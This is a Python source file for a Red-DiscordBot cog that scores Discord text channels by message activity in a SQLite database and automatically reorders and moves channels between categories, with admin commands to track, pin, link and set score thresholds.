import time
import math
import asyncio
import logging
from datetime import datetime, timezone
from collections import deque
from typing import List, Optional
from hashlib import shake_128

import discord

from discord.ext import tasks

from redbot.core import commands, Config, data_manager
from redbot.core.utils.chat_formatting import humanize_list
from redbot.core.utils.predicates import MessagePredicate

from sqlalchemy import create_engine
from sqlalchemy import select
from sqlalchemy import text
from sqlalchemy.orm import Session

from channelscores.models import Base, Channel, Category, Guild

class ChannelScore:
    def __init__(
        self,
        channel: discord.TextChannel,
        rank: Optional[int] = None,
        distance: Optional[int] = None,
        score: Optional[int] = None,
    ):
        self.text_channel = channel
        self.rank = rank
        self.distance = distance
        self.score = score

    def __eq__(self, __value: object) -> bool:
        if isinstance(__value, ChannelScore):
            return self is __value
        if isinstance(__value, Channel):
            return self.text_channel.id == __value.id
        if isinstance(__value, int):
            return self.text_channel.id == __value
        raise TypeError("channelscore can only be compared to the same object or id")

class Volume:
    def __init__(self, id: str, categories: List[discord.CategoryChannel]):
        self.id = id
        self.categories = categories

def get_volumes(
    session: Session,
    guild: discord.Guild,
    categories: Optional[List[discord.CategoryChannel]] = None,
) -> List[Volume]:
    """get all volumes in a guild or volumes from member cats"""
    volumes: List[Volume] = []

    # get list of volumes
    if categories:
        # from categories
        stmt = (
            select(Category.volume)
            .where(Category.id.in_([cat.id for cat in categories]))
            .group_by(Category.volume)
        )
    elif guild:
        # from guild
        stmt = (
            select(Category.volume)
            .where(Category.guild_id == guild.id)
            .group_by(Category.volume)
        )
    else:
        raise ValueError("must provide either guild or categories")

    [volumes.append(Volume(id, [])) for id in session.scalars(stmt).all()]

    # fill them
    for v in volumes:
        stmt = (
            select(Category)
            .where(Category.guild_id == guild.id)
            .where(Category.volume == v.id)
            .order_by(Category.volume_pos)
        )

        [
            v.categories.append(guild.get_channel(category.id))
            for category in session.scalars(stmt).all()
        ]

    return volumes

def get_rank(session, channel: Channel) -> int:
    query = text(
        """
          with scoreboard as
              (
              select row_number() over (order by score desc) as row_number, id
              from channel
              where guild_id = :guild_id
              )
          select * from scoreboard
          where id = :channel_id
                            """
    )
    rank = session.execute(
        query,
        {
            "guild_id": channel.guild.id,
            "channel_id": channel.id,
        },
    ).scalar_one()

    return rank

def get_volume_by_id(
    session: Session,
    guild: discord.Guild,
    id: str,
) -> Volume:
    """get volume by its id"""
    if not id:
        raise ValueError("no volume id provided")

    stmt = select(Category).where(Category.volume == id).order_by(Category.volume_pos)

    volume = Volume(
        id,
        [guild.get_channel(category.id) for category in session.scalars(stmt).all()],
    )

    return volume

def fix_max_points(session: Session, guild: discord.Guild):
    stmt = select(Guild).where(Guild.id == guild.id)
    guild_scores = session.scalars(stmt).first()

    if not guild_scores:
        raise ValueError("couldn't find guild")

    channels = guild_scores.channels

    stmt = select(Channel).where(Channel.guild_id == guild.id)
    channels = session.scalars(stmt).all()

    total_channels = len(channels)

    points_max = guild_scores.range * total_channels

    for channel in channels:
        if channel.score > points_max:
            channel.score = points_max

    session.commit()

async def lis_sort(
    channels: List[ChannelScore], channels_sorted: List[discord.TextChannel], first_pos
):
    untracked = []
    for pos, c in enumerate(channels):
        c.rank = channels_sorted.index(c.text_channel)
        c.distance = pos - c.rank

    for c in untracked:
        channels.remove(c)

    chanscore = sorted(channels, key=lambda x: abs(x.distance), reverse=True)[0]

    if chanscore.distance == 0:
        return

    i = 0

    while True:  # python being python
        channels.remove(chanscore)
        channels.insert(chanscore.rank, chanscore)

        move_to = first_pos + chanscore.rank
        if chanscore.text_channel.position < move_to:
            move_to += 1

        await chanscore.text_channel.edit(
            position=move_to,
            reason="channel scores",
        )

        await asyncio.sleep(1)

        for pos, c in enumerate(channels):
            c.rank = channels_sorted.index(c.text_channel)
            c.distance = pos - c.rank

        chanscore = sorted(channels, key=lambda x: abs(x.distance), reverse=True)[0]

        # prevents infinite looping
        if i > len(channels_sorted):
            raise Exception("LIS sort loops exceeded list length")
        i += 1

        if chanscore.distance == 0:
            break

class CScores(commands.Cog):
    """channel scores"""

    __author__ = "relyq"

    __global_grace__ = 60
    __abuse_minutes__ = 1

    def __init__(self, bot):
        self.bot = bot

        self.config = Config.get_conf(
            self, identifier=1797464170, force_registration=True
        )

        self.DEFAULT_COOLDOWN = 30
        self.DEFAULT_GRACE = 60
        self.DEFAULT_RANGE = 1

        default_guild = {
            "log_channel": None,
            "enabled": False,
            "sync": False,
            "categories": {},
            "scoreboard": {},
            "cooldown": 30,
            "grace": 60,
            "range": 1,
        }

        self.config.register_guild(**default_guild)

        self.data_path = data_manager.cog_data_path(self) / "scores.db"

        logging.basicConfig()
        logging.getLogger("sqlalchemy").setLevel(logging.WARNING)

        self.engine = create_engine(f"sqlite://{self.data_path}")
        Base.metadata.create_all(self.engine)

        self.main_loop.start()

    def cog_unload(self):
        self.main_loop.cancel()

    @staticmethod
    def init_guild(self, session: Session, guild: discord.Guild):
        """initialize guild on sqlite"""
        stmt = select(Guild).where(Guild.id == guild.id)
        if not session.scalars(stmt).first():
            session.add(
                Guild(
                    id=guild.id,
                    enabled=False,
                    sync=False,
                    volume_mode=False,
                    cooldown=self.DEFAULT_COOLDOWN,
                    grace=self.DEFAULT_GRACE,
                    range=self.DEFAULT_RANGE,
                    log_channel=None,
                    added=datetime.now(timezone.utc),
                )
            )

    @staticmethod
    def update_guild(
        self,
        guild: discord.Guild,
        enabled: Optional[bool] = None,
        sync: Optional[bool] = None,
        volume_mode: Optional[bool] = None,
        cooldown: Optional[int] = None,
        grace: Optional[int] = None,
        range: Optional[int] = None,
        log_channel: Optional[discord.TextChannel] = None,
    ):
        """init & update guild settings"""
        with Session(self.engine) as session:
            self.init_guild(self, session, guild)
            stmt = select(Guild).where(Guild.id == guild.id)
            guild = session.scalars(stmt).first()
            if enabled is not None:
                guild.enabled = enabled
            if sync is not None:
                guild.sync = sync
            if volume_mode is not None:
                guild.volume_mode = volume_mode
            if cooldown is not None:
                guild.cooldown = cooldown
            if grace is not None:
                guild.grace = grace
            if range is not None:
                guild.range = range
            if log_channel is not None:
                guild.log_channel = log_channel.id
            session.commit()

    @staticmethod
    async def sync_channels(self, guild: discord.Guild):
        with Session(self.engine) as session:
            stmt = select(Guild).where(Guild.id == guild.id)
            volume_mode = session.scalars(stmt).first().volume_mode

            # get thresholds for category
            stmt = (
                select(Category)
                .where(Category.guild_id == guild.id)
                .order_by(Category.volume_pos)
            )
            categories = session.scalars(stmt).all()

            scoreboard_cats: dict() = {}

            # get thresholds
            for cat in categories:
                scoreboard_cats[cat.id]: dict() = {
                    "threshold": cat.threshold,
                    "channels": [],
                    "top": False,
                }

            volumes = get_volumes(session, guild=guild)

        for volume in volumes:
            # get all channels in volume
            vol_chans: List[Channel] = []
            [
                [vol_chans.append(chan) for chan in cat.channels]
                for cat in volume.categories
            ]

            with Session(self.engine) as session:
                # get scoreboard for volume
                stmt = (
                    select(Channel)
                    .where(Channel.id.in_([c.id for c in vol_chans]))
                    .order_by(Channel.score.desc(), Channel.updated.desc())
                )

                # without pins
                stmt_nopins = stmt.where(Channel.pinned == 0)
                scoreboard = deque(session.scalars(stmt_nopins).all())

                # get pins
                stmt_pins = stmt.where(Channel.pinned == 1)
                pins = session.scalars(stmt_pins).all()

                # flatten channel list to get insert pins
                flat_chans = []
                for cat in volume.categories:
                    for chan in cat.text_channels:
                        flat_chans.append(chan)

                for p in pins:
                    p.position = flat_chans.index(guild.get_channel(p.id))

                pins.sort(key=lambda x: x.position)

                # sort pins
                for p in pins:
                    c = guild.get_channel(p.id)
                    scoreboard.insert(p.position, p)

            # insert channel object into scoreboard
            for c in scoreboard:
                c.text_channel = guild.get_channel(c.id)

            # scoreboard is now sorted with pins in place

            # scoreboard by cats

            # create key for cat
            scoreboard_cats[cat.id]["channels"]: List[discord.TextChannel] = []

            # mark top cat as it has no upper threshold
            scoreboard_cats[volume.categories[0].id]["top"] = True

            # sort scoreboard by cat
            if volume_mode == 0:
                # fixed
                for cat in volume.categories:
                    # get next len(cat) channels from scoreboard
                    # starting by highest scores
                    [
                        scoreboard_cats[cat.id]["channels"].append(
                            scoreboard.popleft().text_channel
                        )
                        for i in range(len(cat.text_channels))
                    ]

            else:
                # by score
                volume.categories.reverse()
                for cat in volume.categories:
                    # get items below cat threshold
                    # starting by low scores

                    # always true except for last item of last cat
                    while len(scoreboard):
                        c = scoreboard.pop()
                        # if last cat, just keep going until we ran out of items
                        if (
                            not scoreboard_cats[cat.id]["top"]
                            and c.score > scoreboard_cats[cat.id]["threshold"]
                        ):
                            # put it back
                            scoreboard.append(c)
                            break
                        scoreboard_cats[cat.id]["channels"].insert(0, c.text_channel)

            # move channels to correct cat
            # i dont sync perms to keep compatibility with blogs
            for cat in scoreboard_cats:
                for chan in scoreboard_cats[cat]["channels"]:
                    if not chan.category.id == cat:
                        try:
                            pos = guild.get_channel(cat).text_channels[-1].position
                        except Exception:  # no channels - empty list
                            pos = 0
                        await chan.edit(
                            category=guild.get_channel(cat),
                            position=pos + 1,
                            sync_permissions=False,
                            reason="channel scores",
                        )
                        await asyncio.sleep(0.25)

            # all channels are now in the correct cats

            # lis sort cats
            for cat in volume.categories:
                # get the first position
                cat.text_channels.sort(key=lambda x: x.position)
                try:
                    first_pos = cat.text_channels[0].position
                except IndexError:  # no channels
                    continue

                # cast to ChannelScore
                channels_to_sort: List[ChannelScore] = []
                for c in cat.text_channels:
                    channels_to_sort.append(
                        ChannelScore(
                            c,
                        )
                    )

                # sync sort to discord
                await lis_sort(
                    channels_to_sort,
                    scoreboard_cats[cat.id]["channels"],
                    first_pos,
                )

                await asyncio.sleep(1)

    @staticmethod
    async def add_points(self, channel: discord.TextChannel):
        async with self.config.guild(channel.guild).scoreboard() as scoreboard:
            cooldown_sec = await self.config.guild(channel.guild).cooldown() * 60

            since_update = time.time() - scoreboard[str(channel.id)]["updated"]

            # check cooldown - if grace is over 0 update doesnt matter
            # if update is low & grace 0 = recent message
            # if update is low & grace > 0 = recently lost points
            if scoreboard[str(channel.id)]["grace_count"] == 0:
                if since_update <= cooldown_sec:
                    return

            points_max = await self.config.guild(channel.guild).range() * len(
                scoreboard
            )

            # add points & update last message time
            if scoreboard[str(channel.id)]["score"] < points_max:
                scoreboard[str(channel.id)]["score"] += 1
            scoreboard[str(channel.id)]["updated"] = time.time()
            scoreboard[str(channel.id)]["grace_count"] = 0

    @staticmethod
    async def remove_points(self, channel: discord.TextChannel):
        async with self.config.guild(channel.guild).scoreboard() as scoreboard:
            if scoreboard[str(channel.id)]["score"] > 0:
                scoreboard[str(channel.id)]["score"] -= (
                    1 if scoreboard[str(channel.id)]["grace_count"] else 0
                )
                if await self.config.guild(channel.guild).sync():
                    await self.check_scores(
                        self,
                        channel,
                    )

            scoreboard[str(channel.id)]["updated"] = time.time()
            scoreboard[str(channel.id)]["grace_count"] += 1

    @commands.Cog.listener("on_guild_channel_create")
    async def on_channel_create(self, channel: discord.abc.GuildChannel):
        guild = channel.guild
        if type(channel) is not discord.TextChannel:
            return

        with Session(self.engine) as session:
            stmt = select(Category).where(Category.id == channel.category.id)

            if not session.scalars(stmt).first():
                return

            self._add_textchannel(self, session, channel)
            session.commit()

            # i could load guild from the child channel
            stmt = select(Guild).where(Guild.id == guild.id)
            guild = session.scalars(stmt).first()
            try:
                log_channel = guild.get_channel(guild.log_channel)
            except AttributeError:
                return

            # check score
            if guild.sync:
                await self.sync_channels(self, guild)

        if log_channel:
            await log_channel.send(
                embed=discord.Embed(
                    title="scores - channel tracked",
                    timestamp=datetime.utcnow(),
                    description=channel.mention,
                ),
                allowed_mentions=discord.AllowedMentions.none(),
            )

    @commands.Cog.listener("on_guild_channel_delete")
    async def on_channel_delete(self, channel: discord.abc.GuildChannel):
        guild = channel.guild

        if (
            type(channel) is not discord.TextChannel
            and type(channel) is not discord.CategoryChannel
        ):
            return

        with Session(self.engine) as session:
            if type(channel) is discord.CategoryChannel:
                stmt = select(Category).where(Category.id == channel.id)

            if type(channel) is discord.TextChannel:
                stmt = select(Channel).where(Channel.id == channel.id)

            session.delete(session.scalars(stmt).first())

            fix_max_points(session, guild)

            session.commit()

            # i could load guild from the child channel object
            stmt = select(Guild).where(Guild.id == guild.id)
            try:
                log_channel = guild.get_channel(
                    session.scalars(stmt).first().log_channel
                )
            except AttributeError:
                return

        if log_channel:
            await log_channel.send(
                embed=discord.Embed(
                    title="scores - channels removed",
                    timestamp=datetime.utcnow(),
                    description=channel.name,
                ),
                allowed_mentions=discord.AllowedMentions.none(),
            )

    @commands.Cog.listener("on_guild_channel_update")
    async def on_channel_update(
        self, before: discord.TextChannel, after: discord.abc.GuildChannel
    ):
        guild = after.guild
        if type(after) is not discord.TextChannel:
            return

        with Session(self.engine) as session:
            # in tracked category
            stmt = select(Category).where(Category.id == before.category.id)
            if session.scalars(stmt).first():
                return

            # in untracked category
            stmt = select(Category).where(Category.id == after.category.id)
            if not session.scalars(stmt).first():
                return

            # text channel moved to a tracked category - lets try to track it
            self._add_textchannel(self, session, after)
            session.commit()

            # i could load guild from the child channel
            stmt = select(Guild).where(Guild.id == guild.id)
            guild = session.scalars(stmt).first()
            try:
                log_channel = guild.get_channel(guild.log_channel)
            except AttributeError:
                return

            # check score
            if guild.sync:
                await self.sync_channels(self, guild)

        if log_channel:
            await log_channel.send(
                embed=discord.Embed(
                    title="scores - channel tracked after move",
                    timestamp=datetime.utcnow(),
                    description=after.mention,
                ),
                allowed_mentions=discord.AllowedMentions.none(),
            )

    # anti-points abuse - deleted post
    @commands.Cog.listener("on_message_delete")
    async def on_message_delete(self, message: discord.Message):
        # message was deleted less than __abuse_minutes__ min after posting
        if (
            int((datetime.now(timezone.utc) - message.created_at).total_seconds() / 60)
            > self.__abuse_minutes__
        ):
            return

        with Session(self.engine) as session:
            stmt = select(Channel).where(Channel.guild_id == message.guild.id)
            channels = list(session.scalars(stmt).all())

            if message.channel.id not in channels:
                return

            channel = channels.pop(channels.index(message.channel.id))

            if not channel.tracked:
                return

            stmt = select(Guild).where(Guild.id == message.guild.id)

            guild_settings = session.scalars(stmt).first()

            # dont remove points
            """
            # get last message before deleted
            last_message: discord.Message = None
            async for msg in message.channel.history(limit=1):
                last_message = msg

            # rollback score
            channel.score -= 1

            # rollback updated time
            try:
                channel.updated = last_message.created_at
            except AttributeError:
                channel.updated = channel.added

            since_update = datetime.now(timezone.utc) - channel.updated

            # rollback grace
            channel.grace_count = (since_update.seconds // 60) // guild_settings.grace

            session.commit()
            """

            try:
                log_channel = message.guild.get_channel(guild_settings.log_channel)
            except AttributeError:
                return

        if log_channel:
            await log_channel.send(
                embed=discord.Embed(
                    title="scores - points abuse detected",
                    timestamp=datetime.utcnow(),
                    description=f"{message.channel.mention} deleted a message within {self.__abuse_minutes__} minute from posting",
                ),
                allowed_mentions=discord.AllowedMentions.none(),
            )

    # points win logic
    @commands.Cog.listener("on_message")
    async def on_message_listener(self, message: discord.Message):
        if len(message.content) < 3:
            return
        if not message.guild:  # dm
            return
        if message.author.id is message.guild.me.id:  # bot
            return
        with Session(self.engine) as session:
            stmt = select(Guild).where(Guild.id == message.guild.id)
            guild = session.scalars(stmt).first()
            if not guild:
                return
            if guild.enabled is False:
                return

            stmt = select(Channel).where(Channel.id == message.channel.id)

            channel = session.scalars(stmt).first()

            if not channel:
                return

            ## add points
            if channel.tracked:
                cooldown_sec = guild.cooldown * 60

                since_update = datetime.now(timezone.utc) - channel.updated.astimezone(
                    timezone.utc
                )

                # check cooldown - if grace is over 0 update doesnt matter
                # if update is low & grace 0 = recent message
                # if update is low & grace > 0 = recently lost points
                if channel.grace_count == 0:
                    if abs(since_update.total_seconds()) <= cooldown_sec:
                        return

                total_channels = (
                    session.query(Channel).where(Channel.guild_id == guild.id).count()
                )

                points_max = guild.range * total_channels

                # add points & update last message time
                if channel.score < points_max:
                    channel.score += 1
                channel.updated = datetime.now(timezone.utc)
                channel.grace_count = 0

                session.commit()

                # check score
                if guild.sync:
                    await self.sync_channels(self, message.guild)

    # points lose logic
    @tasks.loop(minutes=__global_grace__)
    async def main_loop(self):
        with Session(self.engine) as session:
            stmt = select(Guild)
            guilds = session.scalars(stmt).all()
            for g in guilds:
                if not g.enabled:
                    return

                stmt = select(Channel).where(Channel.guild_id == g.id)
                channels = session.scalars(stmt).all()

                for c in channels:
                    # change to c.paused after implementing paused status
                    # if not c.tracked:
                    #     return

                    since_update = datetime.now(timezone.utc) - c.updated

                    # check grace

                    if (
                        abs(int(since_update.total_seconds())) / 60 >= g.grace
                    ):  # grace ended
                        if c.score > 0:
                            c.score -= 1 if c.grace_count > 1 else 0
                            if g.sync:
                                await self.sync_channels(
                                    self,
                                    self.bot.get_guild(g.id),
                                )

                        c.updated = datetime.now(timezone.utc)
                        c.grace_count += 1

                        session.commit()

    @commands.cooldown(1, 5, commands.BucketType.user)
    @commands.group(
        name="channelscores", aliases=["cscores", "cscore", "scores", "score"]
    )
    @commands.guild_only()
    @commands.admin_or_permissions(manage_channels=True)
    async def channelscores(self, ctx: commands.Context):
        """channel scores"""

    @staticmethod
    async def confirm_message(ctx: commands.Context) -> bool:
        """
        ask for confirmation
        """
        response = await ctx.bot.wait_for(
            "message", check=MessagePredicate.same_context(ctx)
        )

        if response.content.lower().startswith("y"):
            return True
        else:
            return False

    @staticmethod
    async def log_to_channel(
        self,
        ctx: commands.Context,
        title: str,
        description: str,
    ):
        with Session(self.engine) as session:
            stmt = select(Guild).where(Guild.id == ctx.guild.id)
            try:
                log_channel = ctx.guild.get_channel(
                    session.scalars(stmt).first().log_channel
                )
            except AttributeError:
                return

        if log_channel:
            await log_channel.send(
                embed=discord.Embed(
                    title=title,
                    color=await ctx.embed_color(),
                    timestamp=datetime.utcnow(),
                    description=description,
                ),
                allowed_mentions=discord.AllowedMentions.none(),
            )

    @staticmethod
    async def log_tracked(self, ctx, categories, text_channels):
        await self.log_to_channel(
            self,
            ctx,
            title="scores - channels tracked",
            description=f"""
            categories: {humanize_list([cat.name for cat in categories])
                         if categories else ''}
            channels: {humanize_list([c.mention for c in text_channels])
                       if text_channels else ''}
            added by {ctx.author.mention}""",
        )

    @staticmethod
    async def log_linked(self, ctx, volume_id: str, volume):
        arrow = " -> "
        vnames = []
        [vnames.append(cat.name) for cat in volume]
        await self.log_to_channel(
            self,
            ctx,
            title="scores - categories linked",
            description=f"""
            new logical volume created
            {volume_id}: {arrow.join(vnames)}
            by {ctx.author.mention}""",
        )

    @staticmethod
    async def log_unlinked(
        self, ctx, volumes: List[Volume], unlinked: List[discord.CategoryChannel]
    ):
        link = " -> "
        unlink = " -/> "
        nl = "\n"

        broken_volumes = []

        for volume in volumes:
            broken = ""
            for i, cat in enumerate(volume.categories):
                broken += f"{cat.name}" + (
                    (link if cat not in unlinked else unlink)
                    if i < len(volume.categories) - 1
                    else ""
                )
            broken_volumes.append(broken)

        await self.log_to_channel(
            self,
            ctx,
            title="scores - categories unlinked",
            description=f"""
            logical volume split
            unlinked categories: {humanize_list(unlinked)}
            {nl.join(broken_volumes)}
            by {ctx.author.mention}""",
        )

    @staticmethod
    async def log_thresholds(self, ctx, categories):
        nl = "\n"

        thresholds = []

        [
            thresholds.append(
                f"{ctx.guild.get_channel(cat.id).name}: {cat.threshold} points"
            )
            for cat in categories
        ]

        await self.log_to_channel(
            self,
            ctx,
            title="scores - thresholds changed",
            description=f"""
            {nl.join(thresholds)}
            updated by {ctx.author.mention}""",
        )

    @staticmethod
    async def log_removed(self, ctx, categories, text_channels):
        await self.log_to_channel(
            self,
            ctx,
            title="scores - channels removed",
            description=f"""
            categories: {humanize_list([cat.name for cat in categories])
                         if categories else ''}
            channels: {humanize_list([c.mention for c in text_channels])
                       if text_channels else ''}
            removed by {ctx.author.mention}""",
        )

    @staticmethod
    def sort_catchan(self, catchan, recursive: bool) -> dict:
        channels = {"categories": [], "text_channels": []}

        for c in catchan:
            if type(c) is discord.TextChannel:
                if c not in channels["text_channels"]:
                    channels["text_channels"].append(c)

            if type(c) is discord.CategoryChannel:
                channels["categories"].append(c)
                if recursive:
                    for tc in c.text_channels:
                        if tc not in channels["text_channels"]:
                            channels["text_channels"].append(tc)
        return channels

    @staticmethod
    def _add_textchannel(self, session, channel: discord.TextChannel):
        stmt = select(Channel).where(Channel.id == channel.id)
        if not session.scalars(stmt).first():
            now = datetime.now(timezone.utc)
            session.add(
                Channel(
                    id=channel.id,
                    guild_id=channel.guild.id,
                    score=0,
                    grace_count=0,
                    pinned=False,
                    tracked=True,
                    updated=now,
                    added=now,
                )
            )

    @staticmethod
    def _get_volume_hash(self, categories: List[discord.CategoryChannel]) -> str:
        return shake_128(
            bytes("".join([str(c.id) for c in categories]), "utf-8")
        ).hexdigest(8)

    ### actions that you perform on channels

    @channelscores.command(name="track")
    async def track_channels(
        self, ctx: commands.Context, *channels: discord.abc.GuildChannel, recursive=True
    ):
        """track channels and categories"""

        if not channels:
            return await ctx.send("no channels or categories to add")

        sorted_channels = self.sort_catchan(self, channels, recursive=recursive)

        with Session(self.engine) as session:
            now = datetime.now(timezone.utc)

            # add untracked categories
            categories = [
                Category(
                    id=category.id,
                    guild_id=ctx.guild.id,
                    volume=self._get_volume_hash(self, [category]),
                    volume_pos=0,
                    added=now,
                )
                for category in sorted_channels["categories"]
            ]

            # get and exclude existing categories
            stmt = select(Category).where(
                Category.id.in_([cat.id for cat in sorted_channels["categories"]])
            )

            for e in session.scalars(stmt):
                for cat in categories:
                    if cat.id == e.id:
                        categories.remove(cat)

            session.add_all(categories)

            stmt = select(Channel).where(
                Channel.id.in_([chan.id for chan in sorted_channels["text_channels"]])
            )

            # add untracked channels
            channels = [
                Channel(
                    id=channel.id,
                    guild_id=ctx.guild.id,
                    score=0,
                    grace_count=0,
                    pinned=False,
                    tracked=True,
                    updated=now,
                    added=now,
                )
                for channel in sorted_channels["text_channels"]
            ]

            existing = session.scalars(stmt)

            # set existing categories to tracked
            for e in existing:
                for c in channels:
                    if c.id == e.id:
                        channels.remove(c)
                e.tracked = True

            session.add_all(channels)

            session.commit()

        await self.log_tracked(
            self, ctx, sorted_channels["categories"], sorted_channels["text_channels"]
        )

        # check score
        if await self.config.guild(ctx.guild).sync():
            await self.sync_channels(self, ctx.guild)

        return await ctx.tick()

    @channelscores.command(name="untrack")
    async def untrack_channels(
        self,
        ctx: commands.Context,
        *channels: discord.abc.GuildChannel,
        recursive=False,
    ):
        """untrack channels and categories"""

        sorted_channels = self.sort_catchan(self, channels, recursive=recursive)

        with Session(self.engine) as session:
            stmt = select(Category).where(
                Category.id.in_([cat.id for cat in sorted_channels["categories"]])
            )

            [session.delete(category) for category in session.scalars(stmt)]

            stmt = select(Channel).where(
                Channel.id.in_([chan.id for chan in sorted_channels["text_channels"]])
            )
            # set all channels to untracked
            for channel in session.scalars(stmt):
                channel.tracked = False

            session.commit()

        await self.log_to_channel(
            self,
            ctx,
            title="scores - channels untracked",
            description=f"""
            categories: {humanize_list([cat.name for cat in sorted_channels["categories"]])
                         if sorted_channels["categories"] else ''}
            channels: {humanize_list([c.mention for c in sorted_channels["text_channels"]])
                       if sorted_channels["text_channels"] else ''}
            added by {ctx.author.mention}""",
        )

        return await ctx.tick()

    @channelscores.command(name="reset")
    async def reset_channels(
        self,
        ctx: commands.Context,
        *channels: discord.abc.GuildChannel,
        recursive=True,
    ):
        """reset channel scores"""
        if not channels:
            return await ctx.send("no channels or categories to reset")

        await ctx.send(
            "are you sure you want to reset the scores for these channels and categories?"
        )

        cont = await self.confirm_message(ctx)

        if not cont:
            return await ctx.send("cancelled")

        sorted_channels = self.sort_catchan(self, channels, recursive=recursive)

        with Session(self.engine) as session:
            stmt = select(Channel).where(
                Channel.id.in_([chan.id for chan in sorted_channels["text_channels"]])
            )

            for channel in session.scalars(stmt):
                channel.score = 0
                channel.grace_count = 0
                channel.updated = datetime.now(timezone.utc)

            session.commit()

        await self.log_to_channel(
            self,
            ctx,
            title="scores - channels score reset",
            description=f"""
            categories: {humanize_list([cat.name for cat in sorted_channels["categories"]])
                         if sorted_channels["categories"] else ''}
            channels: {humanize_list([c.mention for c in sorted_channels["text_channels"]])
                       if sorted_channels["text_channels"] else ''}
            reset by {ctx.author.mention}""",
        )

        await ctx.tick()

        # check score
        if await self.config.guild(ctx.guild).sync():
            return await self.sync_channels(self, ctx.guild)

    @channelscores.command(name="forget")
    async def remove_channels(
        self,
        ctx: commands.Context,
        *channels: discord.abc.GuildChannel,
        recursive=False,
    ):
        """remove channels from the scoreboard"""

        if not channels:
            return await ctx.send("no channels or categories to remove")

        await ctx.send(
            "are you sure you want to remove these channels and categories from the scoreboard?"
        )

        cont = await self.confirm_message(ctx)

        if not cont:
            return await ctx.send("cancelled")

        sorted_channels = self.sort_catchan(self, channels, recursive=recursive)

        with Session(self.engine) as session:
            stmt = select(Category).where(
                Category.id.in_([cat.id for cat in sorted_channels["categories"]])
            )

            [session.delete(category) for category in session.scalars(stmt)]

            stmt = select(Channel).where(
                Channel.id.in_([chan.id for chan in sorted_channels["text_channels"]])
            )

            [session.delete(channel) for channel in session.scalars(stmt)]

            fix_max_points(session, ctx.guild)

            session.commit()

        await self.log_removed(
            self, ctx, sorted_channels["categories"], sorted_channels["text_channels"]
        )

        return await ctx.tick()

    @channelscores.command(name="pin")
    async def pin_channels(self, ctx: commands.Context, *channels: discord.TextChannel):
        """pin channels so they dont move"""
        if not channels:
            channels = [ctx.channel]

        pinned: List[Channel] = []

        with Session(self.engine) as session:
            stmt = select(Channel).where(Channel.id.in_([chan.id for chan in channels]))

            for channel in session.scalars(stmt):
                pinned.append(ctx.guild.get_channel(channel.id))
                channel.pinned = True

            session.commit()

        await self.log_to_channel(
            self,
            ctx,
            title="scores - channels pinned",
            description=f"""
              {humanize_list([c.mention for c in pinned])} pinned by {ctx.author.mention}
            """,
        )

        return await ctx.tick()

    @channelscores.command(name="unpin")
    async def unpin_channels(
        self, ctx: commands.Context, *channels: discord.TextChannel
    ):
        """unpin channels so they move again"""
        if not channels:
            channels = [ctx.channel]

        unpinned: List[Channel] = []

        with Session(self.engine) as session:
            stmt = select(Channel).where(Channel.id.in_([chan.id for chan in channels]))

            for channel in session.scalars(stmt):
                unpinned.append(ctx.guild.get_channel(channel.id))
                channel.pinned = False

            session.commit()

        await self.log_to_channel(
            self,
            ctx,
            title="channels unpinned - scoreboard",
            description=f"""
              {humanize_list([c.mention for c in unpinned])} unpinned by {ctx.author.mention}
            """,
        )

        return await ctx.tick()

    @channelscores.command(name="link")
    async def link_categories(
        self, ctx: commands.Context, *categories: discord.CategoryChannel
    ):
        """link categories so they act as one logical volume"""
        if len(categories) < 2:
            return ctx.send("no categories to link")

        with Session(self.engine) as session:
            volume: List[Category] = []
            for cat in categories:
                stmt = select(Category).where(Category.id == cat.id)
                c = session.scalars(stmt).first()

                if not c:
                    return await ctx.send(
                        f"{cat.name} is not being tracked. please track it first"
                    )

                if c.volume != self._get_volume_hash(self, [cat]):
                    return await ctx.send(
                        f"{cat.name} is already part of a logical volume. please unlink it first"
                    )

                volume.append(c)

            vol_id = self._get_volume_hash(self, categories)

            for i, cat in enumerate(volume):
                cat.volume = vol_id
                cat.volume_pos = i

            session.commit()

        await self.log_linked(self, ctx, vol_id, categories)

        return await ctx.tick()

    @channelscores.command(name="unlink")
    async def unlink_categories(
        self, ctx: commands.Context, *categories: discord.CategoryChannel
    ):
        """break links to split volumes"""
        if not categories:
            return ctx.send("no categories to unlink")

        with Session(self.engine) as session:
            # get broken vols for log (should use this instead of split_vols)
            broken_vols = get_volumes(
                session=session, guild=ctx.guild, categories=categories
            )

            # get unlinked categories
            stmt = select(Category).where(
                Category.id.in_([cat.id for cat in categories])
            )
            unlinked_cats = session.scalars(stmt).all()

            # get unlinked volumes
            split_vols = set([c.volume for c in unlinked_cats])

            # recalculate simple volume hash for unlinked cats
            for cat in unlinked_cats:
                cat.volume = self._get_volume_hash(self, [cat])
                cat.volume_pos = 0

            # heal split volumes
            for vol in split_vols:
                # get cats from vol
                stmt = (
                    select(Category)
                    .where(Category.volume == vol)
                    .order_by(Category.volume_pos)
                )
                healed_volume = session.scalars(stmt).all()

                # relink volumes
                for cat in healed_volume:
                    cat.volume = self._get_volume_hash(
                        self, [ctx.guild.get_channel(cat.id)]
                    )
                    cat.volume_pos = 0

                session.commit()

                await self.log_unlinked(self, ctx, broken_vols, categories)

                if len(healed_volume) > 1:
                    await self.link_categories(
                        ctx, *[ctx.guild.get_channel(cat.id) for cat in healed_volume]
                    )

        await ctx.tick()

        return await self.sync_channels(self, ctx.guild)

    @channelscores.command(name="thresholds", aliases=["threshold"])
    async def volume_thresholds(
        self, ctx: commands.Context, volume_id: str, *thresholds: int
    ):
        """set thresholds for volume"""
        if not volume_id:
            return await ctx.send("must provide a volume to set thresholds")

        with Session(self.engine) as session:
            volume = get_volume_by_id(session, ctx.guild, volume_id)

            thresholds = list(thresholds)
            thresholds.sort(reverse=True)

            if len(thresholds) != len(volume.categories):
                return await ctx.send("must provide one threshold for each category")

            stmt = (
                select(Category)
                .where(Category.id.in_([cat.id for cat in volume.categories]))
                .order_by(Category.volume_pos)
            )

            categories = session.scalars(stmt).all()

            for i, cat in enumerate(categories):
                cat.threshold = thresholds[i]

            session.commit()

            await self.log_thresholds(self, ctx, categories)

        return await ctx.tick()

    @channelscores.command(name="resync")
    async def sync_trigger(self, ctx: commands.Context):
        """triggers a resync"""
        with Session(self.engine) as session:
            stmt = select(Guild).where(Guild.id == ctx.guild.id)
            guild = session.scalars(stmt).first()
            if not guild:
                return
            if not guild.sync:
                return await ctx.send("sync is not enabled")

        await self.log_to_channel(
            self,
            ctx,
            title="scores - sync triggered",
            description=f"""
              channel sync triggered by {ctx.author.mention}
            """,
        )

        await ctx.tick()

        await self.sync_channels(self, ctx.guild)

        return await ctx.send("resync finished")

    ### server settings

